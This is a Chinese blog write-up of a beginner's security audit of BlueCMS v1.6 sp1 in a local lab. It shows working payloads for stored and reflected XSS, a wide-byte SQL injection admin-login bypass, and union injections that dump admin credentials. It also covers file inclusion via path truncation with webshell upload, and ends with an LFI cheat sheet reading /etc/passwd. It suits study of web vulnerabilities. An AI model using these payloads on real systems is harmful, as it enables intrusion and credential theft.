初審blucms(入坑)

作為一名初來乍到審計小白,從blueCMS入手再好不過了。通過對入門級的cms進行審計以及一個整體的框架和常見的漏洞學習,對個人而言是一次不錯的學習經歷。話不多說直接進入主題。

程式碼審計環境

BlueCMS v1.6 sp1源碼
php+Apache(phpstudy等集成環境 PHP>=4.3.0,MYSQL>=4.1)
seay審計工具

審計前言

blueCMS是一個比較小眾而且適合入門學習審計的CMS,從剛爆出漏洞至今網上已經有很多審計文章,大多都是兩個熟知漏洞轉來轉去。但作為初入的小白自然不能滿足。
所以對於這次入門決定花一些時間進去以記錄一下審計過程中的困難和解決思路。

此次程式碼審計採用黑盒+白盒,能更好的了解漏洞產生的原因還有利用方法。

cms環境安裝

源碼鏈接://pan.baidu.com/s/1RxyG1Akpp_EZOoBoRtuuaQ 提取碼:tj9s

流程:將bluecms文件夾放到WWW中,訪問uploads下的install

默認安裝能夠訪問upload即為成功

審計開始

blueCMS整體分析

在bluecms中主要的核心程式碼在/include文件中,/admin是只有管理員才能訪問,/data存放一些配置文件,資料庫配置文件等。/install文件是在安裝時候需要訪問。但是假如說在安裝完後/install沒有刪除而且可以繼續訪問/install重新安裝,這樣子就可以重置數據拿到管理員密碼和許可權。

滲透過程第一個漏洞:xss漏洞

當我們點開一個站點,一般來講正常操作是註冊->登錄->瀏覽文章,所以第一步我們要在註冊介面尋找漏洞。那麼我們要先註冊賬戶。

在註冊中,出現了好多輸入框,於是我在想可不可以嘗試一下xss彈窗呢?

正常的填寫註冊,在抓包,然後將數據包攔截
防止js前端檢測,所以我在pwd中間加上的測試xss函數,send後成功彈窗

在網頁源碼中可以看到js惡意程式碼,說明這裡存在一個存儲型xss

滲透過程中第二個漏洞:sql注入漏洞

現在知道存在一個xss點,然後我在想在username和password處會不會存在sql注入呢?

在yrl地址中試了一下/admin 直接跳轉到/admin/login.php文件下

先是正常測試了下用戶名admin’ or 1=1/1=2 密碼admin
然後是無引號測試發現均為賬戶或密碼錯誤

起初我是覺得沒有漏洞的。 之後回看源碼發現,在這裡

由於默認使用的是gbk編碼,我們已知當編碼為gbk等雙位元組編碼時,容易發生寬位元組注入。(寬位元組原理:兩個位元組以上叫寬位元組,當我們測試的時候,輸入「%df『」,這個時候如果php函數是使用的addslashes()的時候,會在冒號的前面加上』\』。也就變成了%df\』 。對應的編碼是%df%5c』.這時候網站字符集是GBK,mysql使用的是gbk編碼的時候,默認認為兩個字元為一個漢字。當網站過濾的機制是採用轉義\的時候,我們可以在網站添加的轉義符號前面構造一個%xx使得變成%xx%5c而被mysql認為是一個漢字,從而繞過轉義。寬位元組注入最長用的時%df,或者使用ascii碼大於128的也可以 ,一般用129。)

漏洞利用

抓包修改admin_name=admin%df%27+or+1%3D1%23
明文就是%df』 or 1=1#
單引號被轉義後變成%df』 or 1=1#
寬位元組注入是利用mysql的一個特性,因為gbk是多位元組編碼,他認為兩個位元組代表一個漢字,所以%df和後面的\也就是%5c變成了一個漢字「運」,而單引號逃逸了出來,就可以成功閉合sql語句了
再加上後面的or 1=1 #就構造成了永真語句,可以成功免密登錄管理員後台了

現在是admin許可權,接下來就是尋找管理員許可權下可以進行的操作並尋找漏洞。

滲透過程中第三個漏洞:文件包含漏洞

登陸到admin,dirsearch一梭子找到模板管理,/admin/tpl_manage.php

然後點開編輯打開一個鏈接,在編輯處寫入一句話木馬,然後點擊保存。

利用文件包含進入到上上層目錄下的info.php,進入info.php後寫入一句話木馬,直接菜刀連接獲得web許可權


以上是我在安裝cms後未知源碼滲透的過程發現的漏洞(一個人滲透時候弄出來的,沒有參考沒有參考)。

接下來就是程式碼審計使用seay程式碼審計工具。

漏洞1(sql注入):在文件ad_js.php中存在sql注入

empty()函數用於檢查一個變數是否為空。trim()函數移除字元串中的字元。這部分程式碼可以看到ad_id參數通過get得到,判斷是否為空,不為空,則沒過濾地帶入getone函數進行查詢。
進到getone()函數中 (getone()是自定義的函數,用來查詢資料庫。) 然後定位函數發現在/include/mysql.class.php文件中,然後進入函數看看有沒有什麼過濾。

function getone($sql, $type=MYSQL_ASSOC){
    	$query = $this->query($sql,$this->linkid);
    	$row = mysql_fetch_array($query, $type);
    	return $row;
    }

跳轉到getone函數,然後沒有任何過濾可直接執行sql語句,所以可以進行sql注入。

漏洞利用

第一種方法(手工注入)

先訪問ad_js.php,會跳轉到/ad_js.php?ad_id=1

看到ad_id=1就舒服很多,先是手注

  1. 先查看多少欄位
    ?ad_id=1 order by 7

    order by 8的時候會報錯

  2. 查看一下哪裡有回顯
    ?ad_id=1 union select 1,2,3,4,5,6,7

    在7處有回顯,所以開始在7處構造payload

  3. 查看當前資料庫
    ?ad_id=1 union select 1,2,3,4,5,6,database()

  4. 爆表名
    ?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

    (這個表名確實多的離譜)主要看blue_admin這張表看

  5. 爆列名
    ?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e

  6. 獲取用戶名密碼
    ?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

    其中在/admin/user.php文件中,通過POST傳參後經過if語句判斷到達$sql語句,在這句話中values值中的pwd進行了md5加密。

第二種方法(sqlmap跑一梭)

基本的sqlmap使用方法就不都多說了。

漏洞2(xss漏洞):在ad_js.php文件中

通過對ad_js.php文件進行審計後發現反射型的xss幾乎在sql注入漏洞的同時伴隨著xss。

漏洞利用

在該文件的sql注入漏洞處,由於源碼中沒有任何過濾,可以直接將xss惡意語句寫到地址欄中可成功執行

漏洞3(任意文件包含漏洞):在user.php中

因為在黑盒測試的過程中通過抓包可以看到POST傳參時會順在著act參數用來做位置判斷,這段源碼中存在文件包含,分析程式碼,我們發現$_POST[‘pay’]並沒有做多餘的安全檢測,直接進行拼接,所以我們的重點是考慮如何截斷。

漏洞利用

先在根目錄上放上test.php (test.php下寫入phpinfo)然後先訪問一下

然後找到用戶登錄下的金幣充值,點擊購買後出現此介面,抓包點擊在線支付

先嘗試下%00,

payload:../../test.php

發現%00沒有反應,應該是程式碼中對%00進行了轉譯。然後我們考慮一下利用文件路徑長度截斷,如用字元.或者/.或者./來截斷。但是經過嘗試後發現只有點截斷可行。

payload:pay=../../1.php……………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………..

但是這個地方我們是先在本地存放了個test.php文件,然後通過截斷方式讀取到test.php的。利用這個方式我們可不可以getshell呢?所以現在我們的思路是如何利用文件包含getshell。思路:尋找一個可以上傳點,上傳一個帶木馬的jpg文件,利用文件包含漏洞包含jpg文件,拿shell。

打開個人資料,存在一處上傳頭像。可以上傳一個圖片馬,然後通過蟻劍菜刀鏈接,實踐開始。因為沒有過濾,所以直接上傳成功了。

一句話木馬內容:

上傳:

上傳成功後包含文件data/upload/face_pic/16117683204.jpg,同時在文件根目錄中會生成shell.php

菜刀連接成功:

本地文件包含知識

  1. 點號截斷:

    ?file=../../../../../../../../../boot.ini/………[…]…………
    (php版本小於5.2.8(?)可以成功,只適用windows,點號需要長於256,y因為在windows下路徑超過256個字元後的東西會被捨棄)

  2. %00截斷:

    ?file=../../../../../../../../../etc/passwd%00
    (php 版本<= 5.3的才有。例如test.php%00.jpg,這時就會去掉%00後面的字元串。所以程式讀取時候就變成了test.php)

  3. 0x00截斷:

    ?file=../../../../../../../../../var/www/%00
    (需要 magic_quotes_gpc=off,unix 文件系統,比如 FreeBSD,OpenBSD,NetBSD,Solaris)

  4. 路徑長度截斷:

    ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
    (php 版本小於 5.2.8 可以成功,linux 需要文件名長於 4096,windows 需要長於 256
    利用作業系統對目錄最大長度的限制,可以不需要 0 位元組而達到截斷的目的,在 window 下 256 位元組、linux 下 4096 位元組時會達到最大值,最大值長度之後的字元將被丟棄。而利用 “./” 的方式即可構造出超長目錄字元串.)

  5. 編碼繞過:

    ../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/
    ..\ -》 %2e%2e%5c -》 ..%5c -》 %2e%2e
    (如果伺服器對../ 等做一些過濾,可以用一些編碼來進行繞過.注:必要情況下可以進行二次編碼)